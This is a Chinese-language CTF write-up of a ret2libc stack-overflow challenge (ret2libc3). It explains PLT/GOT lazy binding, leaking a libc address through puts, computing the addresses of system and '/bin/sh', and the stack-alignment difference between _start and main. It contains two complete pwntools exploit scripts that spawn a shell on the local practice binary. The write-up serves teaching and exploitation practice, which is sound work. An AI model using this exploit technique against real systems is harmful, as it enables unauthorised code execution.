ret2libc思路
ret2libc就是控制函数的执行libc中的函数,通常是返回至某个函数的 plt 处。一般情况下,我们会选择执行 system("/bin/sh"),因此我们通常需要找到 system 函数的地址。
这里为什么不能跳转到got表呢?
- plt表里面的地址对应的指令
- got表里面的地址对应的是地址
- 而返回地址必须保存一段有效的汇编指令,因此必须用plt表。
ret2libc通常可以分为下面这几类:
- 程序中自身就含有system函数和"/bin/sh"字符串
- 程序中自身就有system函数,但是没有"/bin/sh"字符串
- 程序中自身就没有system函数和"/bin/sh"字符串,但给出了libc.so文件
- 程序中自身就没有system函数和"/bin/sh"字符串,并且没有给出libc.so文件
不管程序没有直接给出我们需要条件,我们都要想办法找到system()函数的地址和"/bin/sh"字符串的地址;当程序中没有"/bin/sh"字符串时,我们可以利用程序中某些函数如:read,fgets,gets等函数将"/bin/sh"字符串写入bss段或某个变量中,并且要可以找到其地址;对于只给出了libc.so文件的程序,我们可以直接在libc.so文件当中去找system()函数和"/bin/sh"字符串,因为libc.so文件中也是包含了这些的;最后对于没有给出libc.so文件的程序,我们可以通过泄露出程序当中的某个函数的地址,通过查询来找出其使用lib.so版本是哪一个
例题
最后一种:无system函数无/bin/sh字符串无libc.so文件
下载地址
checksec + IDA
[*] '/mnt/hgfs/ubuntu_share/pwn/wiki/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
- 发现依旧是栈溢出
- 但是并没有查找到system函数
- /bin/sh字符串也没有
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# objdump -d ret2libc3 | grep 'plt'
8048415: e8 56 00 00 00 call 8048470 <__gmon_start__@plt>
Disassembly of section .plt:
08048420 <printf@plt-0x10>:
08048430 <printf@plt>:
08048440 <gets@plt>:
08048450 <time@plt>:
08048460 <puts@plt>:
08048470 <__gmon_start__@plt>:
08048480 <srand@plt>:
08048490 <__libc_start_main@plt>:
080484a0 <setvbuf@plt>:
080484b0 <rand@plt>:
080484c0 <__isoc99_scanf@plt>:
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# ROPgadget --binary ret2libc3 --string "/bin/sh"
Strings information
============================================================
- 但是在plt表中发现了puts函数。
libc的延迟绑定
动态链接的程序是在运行时需要对全局和静态数据访问进行GOT定位,然后间接寻址。同样,对于模块间的调用也需要GOT定位,再才间接跳转,这么做势必会影响到程序的运行速度。而且程序在运行时很大一部分函数都可能用不到,于是ELF采用了当函数第一次使用时才进行绑定的思想,也就是我们所说的延迟绑定。ELF实现 延迟绑定 是通过 PLT ,原先 GOT 中存放着全局变量和函数调用,现在把他拆成另个部分 .got 和 .got.plt,用 .got 存放着全局变量引用,用 .got.plt 存放着函数引用。
简而言之,一个函数被调用过以后,got表里保存了它在内存中的地址,可以通过泄露got表内存来泄露函数地址,就可以根据其与libc中该函数的偏移计算其他函数在内存空间中的地址。因为libc中任意两个函数之间的偏移是固定的。
如:计算system函数在内存空间中的函数地址。
- 拿到__libc_start_main函数在内存空间中的地址addr_main
- __libc_start_main函数相对于libc.so.6的起始地址是addr_a
- system函数相对于libc.so.6的起始地址是addr_b
- 则system函数在内存中真正的地址为addr_main + addr_b - addr_a
libcSearcher工具
该工具的安装及使用方法在其readme上已经描述的很清楚
这里不再赘述
主要就是使用该工具查找libc中函数的相对位置。
解题思路
- 利用栈溢出及puts函数泄露出在got表中__libc_start_main函数的地址(也可以是其他函数)
- puts函数的返回地址为_start函数(也可以是main函数,这两个函数的区别稍后再说)
- 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。
- 所以我们的泄露依旧可以判断出libc的版本。
- 我们利用泄露出来的函数地址的最低12位计算system函数和/bin/sh字符串在内存中正确的地址
- 重新填充即可
两种Exp编写
第一种,使用_start作为puts函数的返回地址
查找__libc_start_main函数在got表的地址
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# objdump -R ret2libc3
ret2libc3: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ffc R_386_GLOB_DAT __gmon_start__
0804a040 R_386_COPY stdin@@GLIBC_2.0
0804a060 R_386_COPY stdout@@GLIBC_2.0
0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0
0804a010 R_386_JUMP_SLOT gets@GLIBC_2.0
0804a014 R_386_JUMP_SLOT time@GLIBC_2.0
0804a018 R_386_JUMP_SLOT puts@GLIBC_2.0
0804a01c R_386_JUMP_SLOT __gmon_start__
0804a020 R_386_JUMP_SLOT srand@GLIBC_2.0
0804a024 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a028 R_386_JUMP_SLOT setvbuf@GLIBC_2.0
0804a02c R_386_JUMP_SLOT rand@GLIBC_2.0
0804a030 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
- _start函数地址在IDA中可查询
- plt表中puts函数的地址在上文中查询到了
from pwn import *
sh = process('ret2libc3')
start_addr = 0x080484D0
put_plt = 0x08048460
libc_main_addr = 0x0804a024
payload = 112 * 'a' + p32(put_plt) + p32(start_addr) + p32(libc_main_addr)
sh.recv()
sh.sendline(payload)
libc_real_addr = u32(sh.recv(4))
print "real_addr is:" + hex(libc_real_addr)
sh.recv()
addr_base = libc_real_addr - 0x018540
system_addr = addr_base + 0x03a940
string_addr = addr_base + 0x15902b
print "system addr is:" + hex(system_addr)
print "string_addr is:" + hex(string_addr)
payload = 112 * 'a' + p32(system_addr) + "aaaa" + p32(string_addr)
sh.sendline(payload)
sh.interactive()
吐槽一下LibcSearcher,搜到的libc中的偏移找到了4个libc,我依次试了一下,都不对。
然后用这个网站查询的偏移,直接就打通了。
- 在上边的框中填入最低12位
- 选择一个libc
- 使用下面框中的偏移进行计算
第二种,以main函数作为返回地址
from pwn import *
sh = process('ret2libc3')
#start_addr = 0x080484D0
start_addr = 0x08048618
put_plt = 0x08048460
libc_main_addr = 0x0804a024
payload = 112 * 'a' + p32(put_plt) + p32(start_addr) + p32(libc_main_addr)
sh.recv()
sh.sendline(payload)
libc_real_addr = u32(sh.recv(4))
print "real_addr is:" + hex(libc_real_addr)
sh.recv()
addr_base = libc_real_addr - 0x018540
system_addr = addr_base + 0x03a940
string_addr = addr_base + 0x15902b
print "system addr is:" + hex(system_addr)
print "string_addr is:" + hex(string_addr)
payload = 104 * 'a' + p32(system_addr) + "aaaa" + p32(string_addr)
sh.sendline(payload)
sh.interactive()
- 两种exp的编写只有两个不同
- _start函数地址变为main函数地址
- 最后偏移112个a变成104个a
- 这里就要说下main函数和_start函数的区别
main函数与_start函数区别
简单地说,main()函数是用户代码的入口,是对用户而言的;而_start()函数是系统代码的入口,是程序真正的入口。
我们可以看下本题的_start()函数内容,其包含main()和__libc_start_main()函数的调用,也就是说,它才是程序真正的入口
- _start函数比main函数多了一个堆栈平衡(栈对齐)的操作,如下图所示,使用了and进行栈对齐
- 详细解释:_start函数有一句and esp, 0FFFFFFF0h进行了堆栈平衡,可以自己写个demo试一下,在and语句之前,esp的值是0xffffade8,而经过and之后,esp的值就变为了0xffffade0。所以问题就出在 _start函数的and语句,要是直接返回main函数就相当于少了一个and操作,esp的位置也就多了8。(栈的内存增长相反,即栈空间少了8)
注
读者可再补充一下动态编译,plt表及got表的知识